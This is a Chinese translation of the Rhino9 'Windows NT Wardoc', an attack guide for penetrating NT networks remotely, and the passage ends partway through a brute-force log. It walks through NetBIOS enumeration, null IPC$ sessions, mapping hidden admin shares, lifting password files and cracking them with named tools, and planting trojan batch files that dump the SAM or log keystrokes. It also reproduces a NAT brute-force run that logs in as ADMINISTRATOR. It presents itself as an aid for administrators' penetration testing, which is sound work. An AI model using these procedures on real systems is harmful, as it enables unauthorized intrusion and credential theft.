NT安全指南
資訊來源:RHIN09.ML.ORG
象生活中經常會自覺慚愧一樣,敲“譯者序”三個字的時候並非如將盜版光碟插入自
己的CD-ROM一樣心安理得。譯者不是我,是一位對網路並無多大興趣(或者有我不瞭解也
未可知)的文靜女孩。交給我譯稿時她悄悄問我,是不是看懂了這篇文章就可以做Hacker
了?
翻譯此文的初衷是因為自覺為一篇好的技術文章,僅此而已。
最希望此譯文能被對網路安全感興趣的中國少年閱讀、試驗,如果他或她剛好不那麼
精通英文,又剛好通過譯文能夠有所啟發,那我就太安慰了。
考慮過應該將本文放在哪個版,最終決定是因為本文是針對NT作業系統的,也希望大
家能夠多些關注NT、Microsoft以及他們背後的新生代野心家。野心家的心理是有缺陷的
正如他們製造出的軟體產品有缺陷一樣。對待野心家我們除了大聲疾呼之外更應該踏實地
坐下來摸索、實踐和創造真理。
需要英文原創的使用者可訪問:
[url]http://www.hackersclub.com/km/library/hack99/wardoc.txt[/url]
歡迎大家收錄和轉載本文,唯一的請求同樣是保持完整性。如果您發現翻譯錯誤請通
過站內郵件系統和我聯絡。
文章較長正在審稿,我將會盡量連續地貼在本版。
再次對多日面對枯燥文稿的文靜女孩表示謝意。
flaw.
[email]flaw@21cn.com[/email]
WINDOWS NT WARDOC
NEONSURGE與RHIN09研究小組關於遠端NT滲透方法的研究報告
簡介:
==============================================================================
本文是Rhino9小組為證明在攻擊基於NT的網路時所採用的方法而編寫的。目的是加強
管理員和安全專業人士對攻擊者的心理以及目前NT滲透方法的認識。本文是Dan Farmer和
Wietse Venema所著的“如何通過侵入站點來提高站點的安全性(How To Improve The Se
curity Of Your Site by Breaking Into It) ”一文的姊妹篇。
顯而易見,本文不包含所有有關NT網路滲透的方法。我們把有關內容編寫成一篇文
章,使管理員能夠通過它來掌握基本的滲透方法,從而對各自網路的脆弱性進行測試。如
果徹底消化了本文中所涉及到的概念和方法,管理員就能掌握有關滲透如何發生的基礎知
識,並能利用這些知識更有效地保護他們的網路。
本文不適合那些對安全性、NT或連網技術一無所知的人士閱讀。作者認為,本文讀者
應該對協議、伺服器技術和網路體系結構有一定的瞭解。
作者希望繼續對本文進行進一步擴充併發布更新版本。在此,我們衷心地希望所有願
意為這一研究課題作出貢獻的人士把有關滲透測試方法的詳細資料寄給我們。我們將把這
些資料作為最新的可靠來源,以便於及時釋出本文件的更新版本。
請將您的資料寄至:[email]neonsurge@hotmail.com[/email]。
如果您提交的資料的確有價值,我們會及時把它整理到文件中,並給予您適當的稿
酬。
使用
==============================================================================
本文是按照程式上的方式編寫的。我們在編寫過程中力求使本文更象是網路入侵者真
正採取網路滲透方法侵入網路。一旦理解了怎樣做以及為什麼這樣做,您就能輕鬆自如地
實現本文中所探討的各種滲透方法。
本文共分三個章節:NetBIOS、Web伺服器及其它。各章節都對不同的資訊收集與滲透
方法進行了說明。
通過NETBIOS實現資訊收集與滲透
==============================================================================
網路入侵者通常採取的第一步是通過埠掃描程式掃描目標機或網路。令人吃驚的
是,以目標機的開放埠為基礎對網路進行的攻擊是多麼的有條不紊。您應該清楚,除了
Unix機外,這是NT機顯示不同開放埠的標準。網路入侵者懂得檢視埠掃描程式,並通
過相當準確的結果來斷定它是一臺NT機還是一臺Unix機。當然也有一些例外,但一般情況
下都能這樣做。最近,業界釋出了幾個用來遠端鑑別機器的工具,但該功能目前還不能用
於NT。
當攻擊基於NT的網路時,NetBIOS往往是首選的攻擊物件。因此,NetBIOS就成為本文
中第一個要探討的重要課題。
用NetBIOS進行資訊收集相當容易,雖然要花費一點時間。NetBIOS一般被看作是開銷
很大的大容量協議,速度往往很慢,這也就是要耗費時間的原因。
如果埠掃描程式報告埠139在目標機上是開放的,那麼接下來就是一個很自然的
過程。第一步是發出NBTSTAT命令。
NBTSTAT命令可以用來查詢涉及到NetBIOS資訊的網路機器。另外,它還可以用來消除
NetBIOS快取記憶體器和預載入LMHOSTS檔案。這個命令在進行安全檢查時非常有用。
用法:nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s]
[interval]
引數-a列出為其主機名提供的遠端計算機名字表。
-A列出為其IP地址提供的遠端計算機名字表。
-c列出包括了IP地址的遠端名字快取記憶體器。
-n列出本地NetBIOS名字。
-r列出通過廣播和WINS解析的名字。
-R消除和重新載入遠端快取記憶體器名字表。
-S列出有目的地IP地址的會話表。
-s列出會話表對話。
NBTSTAT生成的列標題具有以下含義:
Input
接收到的位元組數。
Output
發出的位元組數。
In/Out
無論是從計算機(出站)還是從另一個系統連線到本地計算機(入站)。
Life
在計算機消除名字表快取記憶體表目前“度過”的時間。
Local Name
為連線提供的本地NetBIOS名字。
Remote Host
遠端主機的名字或IP地址。
Type
一個名字可以具備兩個型別之一:unique or group
在16個字元的NetBIOS名中,最後一個位元組往往有具體含義,因為同一個名可以在同
一臺計算機上出現多次。這表明該名字的最後一個位元組被轉換成了16進位制。
State
NetBIOS連線將在下列“狀態”(任何一個)中顯示:
狀態含義:
Accepting: 進入連線正在進行中。
Associated: 連線的端點已經建立,計算機已經與IP地址聯絡起來。
Connected: 這是一個好的狀態!它表明您被連線到遠端資源上。
Connecting: 您的會話試著解析目的地資源的名字-IP地址對映。
Disconnected: 您的計算機請求斷開,並等待遠端計算機作出這樣的反應。
Disconnecting: 您的連線正在結束。
Idle: 遠端計算機在當前會話中已經開啟,但現在沒有接受連線。
Inbound: 入站會話試著連線。
Listening: 遠端計算機可用。
Outbound: 您的會話正在建立TCP連線。
Reconnecting: 如果第一次連線失敗,就會顯示這個狀態,表示試著重新連線。
下面是一臺機器的NBTSTAT反應樣本:
C:>nbtstat –A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
———————————————
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIFQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
您通過下表能掌握有關該機器的哪些知識呢?
名稱編號型別的使用:
00 U 工作站服務
01 U 郵件服務
\_MSBROWSE_ 01 G 主瀏覽器
03 U 郵件服務
06 U RAS伺服器服務
1F U NetDDE服務
20 U 檔案伺服器服務
21 U RAS客戶機服務
22 U Exchange Interchange
23 U Exchange Store
24 U Exchange Directory
30 U 調變解調器共享伺服器服務
31 U 調變解調器共享客戶機服務
43 U SMS客戶機遠端控制
44 U SMS管理遠端控制工具
45 U SMS客戶機遠端聊天
46 U SMS客戶機遠端傳輸
4C U DEC Pathworks TCP/IP服務
52 U DEC Pathworks TCP/IP服務
87 U Exchange MTA
6A U Exchange IMC
BE U網路監控代理
BF U網路監控應用
03 U郵件服務
00 G域名
1B U域主瀏覽器
1C G域控制器
1D U主瀏覽器
1E G瀏覽器服務選擇
1C G Internet資訊伺服器
00 U Internet資訊伺服器
[2B] U Lotus Notes伺服器
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan閘道器服務
Unique (U): 該名字可能只有一個分配給它的IP地址。在網路裝置上,一個要註冊的名字
可以出現多次,但其字尾是唯一的,從而使整個名字是唯一的。
Group (G): 一個正常的群;一個名字可以有很多個IP地址。
Multihomed (M): 該名字是唯一的,但由於在同一臺計算機上有多個網路介面,這個配置
可允許註冊。這些地址的最大編號是25。
Internet Group (I): 這是用來管理WinNT域名的組名字的特殊配置。
Domain Name (D): NT 4.0提供的新內容。
網路入侵者可以通過上表和從nbtstat獲得的輸出資訊開始收集有關您的機器的資訊。
有了這些資訊,網路入侵者就能在一定程度上斷定有哪些服務正在目標機上執行,有時也
能斷定已經安裝了哪些軟體包。
從傳統上講,每個服務或主要的軟體包都具有一定的脆弱性,因此,這一型別的資訊
對網路入侵者當然有用。
第二個邏輯步驟是通過遠端機收集可能的使用者名稱。網路登入包括兩個部分:使用者名稱和
口令。一旦網路入侵者掌握了有效的使用者列表,他就能獲得一半的有效登入資訊。現在,
採用了nbtstat命令,網路入侵者就能掌握從本地註冊到該臺機器上的任何人的登入名。
在通過nbtstat命令得到的結果中,採用<03>識別符的表目是使用者名稱或機器名。另外,還
可以通過空IPC會話和SID工具來收集使用者名稱(詳細內容見“SID工具”,附錄B)。
IPC$(程式間通訊)共享是NT主機上一個標準的隱藏共享,主要用於伺服器到伺服器
的通訊。NT主機用來互相連線並通過這個共享來獲得各種必要的資訊。鑑於在各種操作系
統中都有很多設計特徵,網路入侵者已經懂得利用這種特徵來達到他們的目的。通過連線
這個共享,網路入侵者從技術上就能夠實現與您的伺服器的有效連線。通過與這個共享的
空連線,網路入侵者就能夠在不需要提供任何身份證明的情況下建立這一連線。
要與IPC$共享進行空連線,網路入侵者就在命令提示符下發出如下命令:
c:>net use \[目標主機的IP地址]ipc$ “” /user:””
如果連線成功,網路入侵者就會有很多事情要做,而不是收集使用者列表,不過他是以
收集使用者列表開始的。如上所述,這個方法需要一個空IPC會話和SID工具。由
Evgenii Rudnyi編寫的SID工具包括兩個不同的部分:User2sid和Sid2user。User2sid採
用一個帳戶名字或群組,給您一個對應的SID。而Sid2user採用一個SID,給您對應的使用者
或群組的名字。作為一個獨立的工具,這個程式是手工進行的,要消耗大量的時間。
Userlist.pl是Mnemonix編寫的一個perl指令碼,它將使這個SID程式自動化,從而大大
縮短網路入侵者收集這些訊息所花費的時間。
這時,網路入侵者就會了解到哪些服務正在遠端機上執行以及已經安裝了哪些主要的
軟體包(有限的),同時還能得到該機器上有效的使用者名稱和群組列表。儘管這似乎是一個
外來者所要掌握的有關您的網路的資訊,但是,空IPC會話已經為資訊收集留下了其它隱
患。目前,Rhino9小組已經能夠檢索遠端機的全部固有安全約束規則。帳戶封鎖、最小口
令長度、口令使用週期、口令唯一性設定以及每一個使用者、他們所歸屬的群組以及該使用者
的個人域限制等所有資訊都可以通過一個空IPC會話獲得。這個資訊收集功能將在近期發
布的Leviathan工具(由Rhino9小組編寫)中提供。下面將對目前可用的一些工具進行探
討,這些工具可用來通過空IPC會話收集更多的資訊。
有了這個空IPC會話,網路入侵者也能獲得網路共享列表,否則就無法得到。為此,
網路入侵者希望瞭解到在您的機器上有哪些可用的網路共享。為了收集到這些資訊,要採
用下列這個標準的net view命令:
c:>net view \[遠端主機的IP地址]
根據目標機的安全約束規則,可以拒絕或不拒絕這個列表。舉例如下(因某種原因IP
地址已省略):
C:>net view \0.0.0.0
System error 5 has occurred.
Access is denied.
C:>net use \0.0.0.0ipc$ “” /user:””
The command completed successfully.
C:>net view \0.0.0.0
Shared resources at \0.0.0.0
Share name Type Used as Comment
——————————————————————————-
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
正如您所看到的,該伺服器上的共享列表在建立了空IPC會話後才可用。這時,您就
會意識到這個IPC連線有多麼的危險,但我們現在已經掌握的IPC方法實際上是很基本的方
法。與IPC共享一起出現的可能性還有待進一步研究。
WindowsNT 4.0資源工具的釋出使得象管理員和網路入侵者這樣的人能夠用到新的工
具。下面對一些資源工具實用程式進行描述。Rhino9小組運用這些實用程式與IPC$空會話
一起收集資訊。當您閱讀這些工具的描述以及它們所提供的資訊時,請記住:所採用的空
會話不向遠端網路提供任何真實的身份證明。
UsrStat: 這個命令列實用程式顯示特定域中各個使用者的使用者名稱、全名以及最後一次登
錄的日期和時間。下面是根據遠端網路通過一個空IPC會話採用這個工具進行的實際剪下和
貼上:
C:NTRESKIT>usrstat domain4
Users at \STUDENT4
Administrator – – logon: Tue Nov 17 08:15:25 1998
Guest – – logon: Mon Nov 16 12:54:04 1998
IUSR_STUDENT4 – Internet Guest Account – logon: Mon Nov 16 15:19:26 1998
IWAM_STUDENT4 – Web Application Manager account – logon: Never
laurel – – logon: Never
megan – – logon: Never
我們現在來探討一下整個俘獲過程是怎麼樣發生的,以便於加深讀者的理解。在真正
的攻擊發生前,把一個對映放到通過#PRE/#DOM標記對映Student4機器及其域活動狀態的
lmhosts檔案中(下面詳述)。然後把表目預載入到NetBIOS快取記憶體器中,同時建立一個
空IPC會話。正如您所看到的,這個命令是根據域名發出的。最後,該工具會向主域控制
器查詢這個域。
global: 這個命令列實用程式顯示遠端伺服器或域上全域性群組的成員。如上所述,這個實
用程式是與Lmhosts/IPC對映一起使用的。下面是這個global工具的實際俘獲。在這個例
子中,“域使用者”是WindowsNT域中出現的標準預設全域性群組。我們在此採用這個工具向
Domain1查詢“域使用者”群組中所有使用者的列表。
C:>global “Domain Users” domain1
Bob
SPUPPY$
BILLY BOB$
Bill
IUSR_BILLY BOB
IWAM_BILLY BOB
IUSR_SPUPPY
IWAM_SPUPPY
local: local工具象global工具一樣操作,不同之處是,它向機器查詢本地群組的成
員,而不是全域性群組的成員。下面是local工具向伺服器查詢其管理員群組列表的例子。
C:>local “administrators” domain1
Bob
Domain Admins
Bill
NetDom:NetDom是一個向伺服器查詢它在域中的角色以及向機器查詢其PDC的工具。另外,
NetDom工具還與Lmhosts/IPC對映協同工作。下面是該工具的俘獲資訊及其標準輸出:
Querying domain information on computer \SPUPPY…
The computer \SPUPPY is a domain controller of DOMAIN4.
Searching PDC for domain DOMAIN4…
Found PDC \SPUPPY
The computer \SPUPPY is the PDC of DOMAIN4.
NetWatch:NetWatch是一個向呼叫該工具的使用者提供遠端機上的共享列表的工具。同樣,
這個工具也能與Lmhosts/IPC對映一起使用。這個工具的缺點是,人們能夠利用該工具來
檢索遠端機上的隱藏共享列表(Rhino9小組已經測試過)。
其它涉及到IPC共享的滲透方法包括開啟遠端機的登錄檔以及遠端域使用者管理器。空
IPC連線使網路入侵者能夠對您的登錄檔進行訪問。一旦建立了空IPC會話,網路入侵者就
能啟用其本地登錄檔編輯器實用程式,並嘗試連線網路登錄檔選項。如果嘗試成功,入侵
者就會對一定的登錄檔鍵具有隻讀訪問許可權,甚至是讀/寫許可權。無論如何,就算對註冊
表只有只讀訪問許可權,從安全形度來講這也是非常有害的。
另外,網路入侵者還會利用IPC域使用者管理器方法。這個方法鮮為人知。我們在這裡
涉及到這個問題是因為它是一個非常有效的入侵方法。這個方法涉及到一個空IPC會話和
輸入LMHOSTS檔案的表目。LMHOSTS檔案(在一般情況下)是一個儲存在基於Windows的機
器上的本地檔案,用於把NetBIOS名字對映到IP地址。LMHOSTS檔案主要用在非WINS環境中
或者不能使用WINS的客戶機上,而實際上,網路入侵者可以通過很多種不同的方式來使用
這個檔案。我們將在下文中對LMHOSTS檔案的不同使用方法進行探討。現在我們對如何在
這個方法中使用LMHOSTS檔案進行論述。
這是一個絕妙的方法,因為它能說明如何把前面介紹的方法與這個方法結合起來使用
從而達到網路入侵者的目的。我們先從埠掃描程式開始,假設埠139是開放的,攻擊
者就會發出一個nbtstat命令。然後,他會通過nbtstat結果收集遠端機的NetBIOS名字。
讓我們來看看得出的nbtstat結果,與前面的結果相同:
C:>nbtstat -A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
———————————————
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
通過檢查nbtstat命令的結果,我們可以找到<03>識別符。如果有人從本地登入到該
機器上,您就會看到兩個<03>識別符。在一般情況下,第一個<03>識別符是機器的
netbios名字,第二個<03>識別符是本地登入使用者的名字。這時,網路入侵者就會把這臺
機器的netbios名字和IP地址對映放到他本地的LMHOSTS檔案中,用#PRE和#DOM標籤終止表
目。#PRE標籤表示應該把表目預載入到netbios快取記憶體器中。#DOM標籤表示域活動。這
時,網路入侵者就會發出一個nbtstat –R命令,把表目預載入到他的快取記憶體器中。從
技術角度來講,這個預載入會使表目看起來好象已經由一些網路功能解析過,並使名字解
析起來更加快捷。
下一步,網路入侵者會建立一個空IPC會話。一旦成功地建立了空IPC會話,網路入侵
者就能啟用域使用者管理器的本地拷貝,並在使用者管理器中利用選擇域功能。接著,遠端機
的域就會出現(或者能夠人工輸入),因為它已經被預載入到快取記憶體器中。如果遠端機
的安全性沒有保障,使用者管理器就會顯示遠端機上所有使用者的列表。如果這是通過一個很
緩慢的連結(如28.8K調變解調器)來進行的,那麼在一般情況下就不會起作用。但如果
採用較快的網路連線,就會有成效。
既然網路入侵者已經收集到有關您的機器的資料,下一步就是真正滲透您的機器。我
們要探討的第一個滲透方法是公開檔案共享攻擊。網路入侵者會把前面提到的net view命
令和net use命令結合起來實現這一攻擊。
我們採用前面的net view命令對網路入侵者的攻擊進行論述:
C:> net view \0.0.0.0
Share name Type Used as Comment
——————————————————————————-
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
一旦攻擊者掌握了遠端共享列表,他就會試著對映到遠端共享。這一攻擊的命令結構
是:
c:>net use x: \0.0.0.0inetpub
只有當共享不設密碼或分配給everyone群組時這一攻擊才有效(注:everyone群組表
示每個人。如果有人作為空使用者連線,他們現在就是everyone群組的組成部分)。如果這
些引數都正確,攻擊者就能把網路驅動器對映到您的機器上並開始一系列的滲透攻擊。請
記住:網路入侵者並不侷限於把驅動器對映到通過net view命令顯示出來的共享上。瞭解
NT的網路入侵者都知道NT隱藏了管理共享。根據預設值,NT為該機器上的每一個驅動器都
建立IPC$共享和一個隱藏共享(即:一臺有C、D和E驅動器的機器會有對應的C$、D$和E$
的隱藏共享)。另外,還有一個直接對映到NT安裝路徑的隱藏ADMIN$共享(即:如果您把
NT安裝在C:winnt目錄下,ADMIN$就對映到該驅動器的確切位置)。Rhino9小組已經注意
到,大多數NT安全界人士似乎都不大重視這個從一臺內部NT機滲透另一臺內部NT機的概
念。在我們的專業檢查過程中,Rhino9小組已經多次完成了這項任務。問題是,如果網路
入侵者是有心的並能得到對您的一臺機器的訪問許可權,他就會悄悄地潛入其餘的網路機
器。因此,這些共享攻擊會造成嚴重的威脅。
(旁註:Rhino9小組曾經對位於佛羅里達州的一家大型ISP進行遠端滲透檢查。我們
先得到其技術人員個人機器上的共享訪問許可權,然後從那裡得到整個網路的訪問許可權。這
是完全可以辦到的。)
首先,有些人可能不會意識到有人在訪問您的硬碟時對您的機器所造成的危險。訪問
硬碟為收集資訊和安放特洛伊木馬/病毒提供了新的途徑。一般情況下,攻擊者會尋找包
含有口令或高度敏感的資料的內容,因為他能利用這些資料來繼續深入您的網路。下面列
出的是網路入侵者要尋找和利用的一些檔案。我們對每一個檔案及其使用方法都進行了簡
要的介紹。
Eudora.ini: 這個檔案用來儲存支援eudora電子郵件軟體的配置資訊。被稱為
eudpass.com的工具會提取個人使用者名稱、口令資訊以及網路入侵者需要用來竊取使用者郵件
的所有資訊。這時,入侵者可以通過配置自己的電子郵件軟體來閱讀目標郵件。同樣,有
些人要花很長時間才能意識到這一危險的存在。但是,要記住,在一般情況下,人都會很
容易地養成習慣的。使用者的電子郵件口令與他們用來登入到網路的口令在大多數情況下都
是相同的。現在攻擊者要做的就是不斷地窺探使用者的硬驅,尋找能為他指出該使用者業務場
所的使用者簡歷或一些與工作相關的其它文件,從而使他能夠對網路發動強大的攻勢。
Tree.dat: 這是一個由通用軟體CuteFTP用來儲存使用者ftp站點/使用者名稱/口令的檔案。
利用一個稱為FireFTP的程式,攻擊者就能輕易地破解tree.dat檔案。這樣,如上所述,
他能不斷地收集有關您的資訊並對您的業務場所發起攻擊。顯而易見,如果您在
tree.dat中有一個直接到您業務場所的ftp對映,那麼他就能更容易地攻擊您的網路。
PWL: PWL一般內建在Win95機上。它們用來為Windows95終端使用者儲存操作特有的口
令。一個稱為glide.exe的工具會破壞PWL檔案。另外還有一些介紹如何用計算器人工破壞
這些PWL檔案加密的文件。接下來,攻擊者會繼續收集有關使用者的資訊並擬訂攻擊方案。
PWD: PWD檔案在執行FrontPage或Personal Webserver的機器上。這些檔案包括純文
本使用者名稱和一個與用來管理Web站點的身份證明資料相匹配的加密口令。用於這些口令的
加密方案是標準的DES方案。眾所周知,在internet上提供有很多破壞實用程式的DES。
Solar Designer編寫的John the Ripper能非常有效的破壞這些口令。
WS_FTP.ini: 這個ini檔案在使用ws_ftp軟體的機器上。儘管適用於這個檔案的自動
口令析取字最近才被推薦給安全界,但所採用的加密機制還不夠強壯。口令是被轉換成十
六進位制數(2位)的。如果一個數字在N位置,那麼N就被增加到該數字上。反向操作就會
破壞這個加密方案。
(這種方法有時也可破壞PMail.ini–Pegasus Mail和Prefs.js–Netscape。)
IDC檔案:IDC(internet資料庫連線符)檔案一般用於從web伺服器到資料庫的後端
連線。因為這種型別的連線一般都需要身份認證,所以,一些IDC檔案包含有純文字的用
戶名/口令。
waruser.dat: 這是適用於通用Win32 FTP伺服器——WarFTP的配置檔案。這個特殊
的dat檔案可包含FTP伺服器本身的管理口令。根據作者掌握的資料,這種情況僅在
WarFTP 1.70版中發生。
$winnt$.inf:在WindowsNT的獨立安裝過程中,安裝程式需要資訊檔案。作為這個
獨立安裝程式的殘餘資料,有一個稱為$winnt$.inf的檔案位於%systemroot%system32
目錄下。這個檔案可包含有在安裝過程中要使用的帳戶的使用者名稱/口令。因為在這些型別
的安裝中所使用的帳戶一般都需要網路上的允許許可權設定,所以這是一件很重要的事。
Sam._:儘管人們很早就知道如果SAM資料庫被心懷叵測的人所利用就會出現問題,
但很多人都不記得這個sam._檔案了。如果入侵者能夠通過網路安裝驅動器,那該如何拷
貝SAM資料庫呢?一般情況下這是不大可能的,因為您所連線的NT伺服器正在執行。當NT
伺服器正在執行時,它會鎖定SAM。不過,如果管理員已經建立了一個緊急修復盤,SAM的
拷貝就應該位於%systemroot%
epair目錄下。這個檔案將命名為sam._。根據預設值,
這個拷貝是人人都可讀取的。通過利用samdump實用程式的拷貝,您就能從複製的SAM中轉
儲使用者名稱/口令。
ExchVerify.log:這個ExchVerify.log檔案是由Cheyenne/Innoculan/ArcServe生成
的。一般情況下,它是通過安裝Cheyenne/Innoculan/ArcServe軟體生成的,內建在進行
軟體安裝的驅動器的根目錄下。這個檔案可包含有極其敏感的資訊,如下所示:
: ExchAuthenticate() called with
NTServerName:[SAMPLESERVER]
NTDomainName[SAMPLESERVER] adminMailbox:[administrator]
adminLoginName:[administrator]
password:[PASSWORD]
很明顯,這個檔案包含有入侵者用來進一步破壞您的網路完整性的資訊。
Profile.tfm:Profile.tfm是一個由POP3客戶機軟體AcornMail生成的檔案。在撰寫
本文時,AcornMail開始引起internet界的廣泛關注。在檢測該軟體時,我們發現它是一
個很有效的POP3客戶機,但其安裝並不很好地相容NTFS。在安裝完該軟體後,我們開始檢
查AcornMail生成的檔案,發現Profile.tfm檔案儲存有使用者名稱/口令。一開始,我們斷定
該軟體完全正常,因為它確實以加密的形式儲存口令。接著,我們意識到profile.tfm的
允許許可權被設定為Everyone/完全控制。這樣就有了問題,因為任何人都能得到該檔案的
一個拷貝並把這個檔案插入他們自己的AcornMail安裝程式中。然後,入侵者就能用已存
儲的資訊來登入。下面是網路監測器中的俘獲資訊:
00000000 00 01 70 4C 67 80 98 ED A1 00 01 01 08 00 45 00 ..pLg………E.
00000010 00 4A EA A7 40 00 3D 06 14 88 CF 62 C0 53 D1 36 .J..@.=….b.S.6
00000020 DD 91 00 6E 04 44 F6 1E 84 D6 00 32 51 EB 50 18 …n.D…..2Q.P.
00000030 22 38 64 9E 00 00 2B 4F 4B 20 50 61 73 73 77 6F “8d…+OK.Passwo
00000040 72 64 20 72 65 71 75 69 72 65 64 20 66 6F 72 20 rd.required.for.
00000050 68 6B 69 72 6B 2E 0D 0A jjohn…
00000000 98 ED A1 00 01 01 00 01 70 4C 67 80 08 00 45 00 ……..pLg…E.
00000010 00 36 A4 02 40 00 80 06 18 41 D1 36 DD 91 CF 62 .6..@….A.6…b
00000020 C0 53 04 44 00 6E 00 32 51 EB F6 1E 84 F8 50 18 .S.D.n.2Q…..P.
00000030 21 AC 99 90 00 00 50 41 53 53 20 67 68 6F 73 74 !…..PASS.xerox
00000040 37 33 0D 0A 63..
如您所看到的,使用者名稱/口令確實是用純文字傳送的。這不是AcornMail的錯,但是在
POPvX中已經有問題出現。這個“資料”檔案對換/包取樣的方法已經由Rhino9小組在大量
的軟體上測試過,因此,這一攻擊並不侷限於AcornMail。
我們已經對入侵者想要得到的檔案(如果獲得對您的硬驅的訪問許可權)進行了探討,
現在我們就來討論一下安放特洛伊木馬。如果有一種方法能使攻擊者獲得大量的資訊,那
就是安放特洛伊木馬。公開的檔案共享攻擊一般都會為安放特洛伊木馬提供方便。在最容
易安放和最廣為人知的特洛伊木馬中,有一個是捆綁在批處理檔案中的PWDUMP實用程式。
如果準備妥當,這個批處理檔案就會最小化執行(也被稱為聰明的檔案,如viruscan.cmd
),然後再執行PWDUMP實用程式,在執行了它的程式後刪除PWDUMP實用程式,並最終刪去
檔案本身。它一般都不會留下證據,並會在該臺機器上生成一個完美的所有使用者名稱/口令
的文字檔案。
“遊戲”規則:目標必須是NT主機,執行特洛伊木馬程式的終端使用者必須是管理員,
這樣,攻擊者就能把批處理檔案放在管理員啟動資料夾中,開始等待。當下一次管理員登
錄到機器上時,批處理檔案就執行和轉儲使用者名稱/口令。然後,攻擊者就會通過檔案共享
連線到該機器上並收集結果。
入侵者可能嘗試的另一個可靠的攻擊方法是把按鍵記錄器批處理檔案放到啟動資料夾
中。這種方法可適用於任何使用者,不僅僅是管理員。這樣即可收集所有該使用者發出的按鍵
資訊,但沒有最初的登入身份資料(這是NT的結構所致,它會在登入過程中終止所有使用者
方式程式)。然後,攻擊者就可以連線到目標機上並收集記錄下的按鍵資訊。
最致命的特洛伊木馬攻擊之一就是一個以管理員的身份執行並採用AT命令建立預定事
件的批處理檔案。因為AT命令能作為系統執行,所以,它能生成SAM資料庫和登錄檔的拷
貝。可以想象得出攻擊者採用這種方法時會享受到多麼大的樂趣。
如何防止此類攻擊呢?不要把檔案共享給Everyone群組,並在您的環境中加強口令機
制。如果入侵者遇到一臺每次都要向他提示輸入身份證明資訊的伺服器,入侵者就會變得
灰心喪氣,隨即離開。不過,有耐心的入侵者會繼續進行Brute Force攻擊。
無庸置疑,Brute Force NetBIOS攻擊最常用的工具是NAT。NAT(NetBIOS檢查工具)
工具讓使用者能夠通過可能的使用者名稱/口令列表使網路連線命令自動操作。NAT將通過所提供
的列表中的每一個使用者名稱和每一個口令試著連線到遠端機上。這是一個很漫長的過程,但
攻擊者往往會使用一個常見口令的縮短列表。
一個成功的入侵者會通過上述資訊收集方法建立他自己的使用者名稱列表。入侵者準備使
用的口令列表也是通過收集到的資訊建立的。他們通常從不充實的口令列表開始,然後根
據使用者名稱建立其餘的口令列表。這對於那些能找到給使用者名稱設定的口令的安全專業人士來
說完全是意料之中的事。
攻擊者可以指定一個要攻擊的IP地址,也可以指定整個範圍內的IP地址。NAT會盡力
完成這項任務,並一直生成格式化報告。
下面是通過internet進行真正NAT攻擊的實際結果檔案。儘管Rhino9小組在進行這一
攻擊時獲得准許,但為了保護測試目標還是更改了IP地址。
— Reading usernames from userlist.txt
— Reading passwords from passlist.txt
— Checking host: 0.0.0.0
— Obtaining list of remote NetBIOS names
— Attempting to connect with name: *
— Unable to connect
— Attempting to connect with name: *SMBSERVER
— CONNECTED with name: *SMBSERVER
— Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
— Server time is Tue Oct 14 11:33:46 1997
— Timezone is UTC-4.0
— Remote server wants us to encrypt, telling it not to
— Attempting to connect with name: *SMBSERVER
— CONNECTED with name: *SMBSERVER
— Attempting to establish session
— Was not able to establish session with no password
— Attempting to connect with Username: `ADMINISTRATOR` Password: `ADMINIS
TRATOR`
— Attempting to connect with Username: `ADMINISTRATOR` Password: `GUEST`
— Attempting to connect with Username: `ADMINISTRATOR` Password: `ROOT`
— Attempting to connect with Username: `ADMINISTRATOR` Password: `ADMIN`
— Attempting to connect with Username: `ADMINISTRATOR` Password: `PASSWOR
D`
— CONNECTED: Username: `ADMINISTRATOR` Password: `PASSWORD`
— Obtained server information:
Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[]
— Obtained listing of shares:
共享名型別註釋
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
D$ Disk: Default share
E$ Disk: Default share
HPLaser4 Printer: HP LaserJet 4Si
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
print$ Disk: Printer Drivers
— This machine has a browse list:
伺服器註釋
AENEMA
— Attempting to access share: \*SMBSERVER
— Unable to access
— Attempting to access share: \*SMBSERVERADMIN$
— WARNING: Able to access share: \*SMBSERVERADMIN$
— Checking write access in: \*SMBSERVERADMIN$
— WARNING: Directory is writeable: \*SMBSERVERADMIN$
— Attempting to exercise .. bug on: \*SMBSERVERADMIN$
— Attempting to access share: \*SMBSERVERC$
— WARNING: Able to access share: \*SMBSERVERC$
— Checking write access in: \*SMBSERVERC$
— WARNING: Directory is writeable: \*SMBSERVERC$
— Attempting to exercise .. bug on: \*SMBSERVERC$
— Attempting to access share: \*SMBSERVERD$
— WARNING: Able to access share: \*SMBSERVERD$
— Checking write access in: \*SMBSERVERD$
— WARNING: Directory is writeable: \*SMBSERVERD$
— Attempting to exercise .. bug on: \*SMBSERVERD$
— Attempting to access share: \*SMBSERVERE$
— WARNING: Able to access share: \*SMBSERVERE$
— Checking write access in: \*SMBSERVERE$
— WARNING: Directory is writeable: \*SMBSERVERE$
— Attempting to exercise .. bug on: \*SMBSERVERE$
— Attempting to access share: \*SMBSERVERNETLOGON
— WARNING: Able to access share: \*SMBSERVERNETLOGON
— Checking write access in: \*SMBSERVERNETLOGON
— Attempting to exercise .. bug on: \*SMBSERVERNETLOGON
— Attempting to access share: \*SMBSERVERprint$
— WARNING: Able to access share: \*SMBSERVERprint$
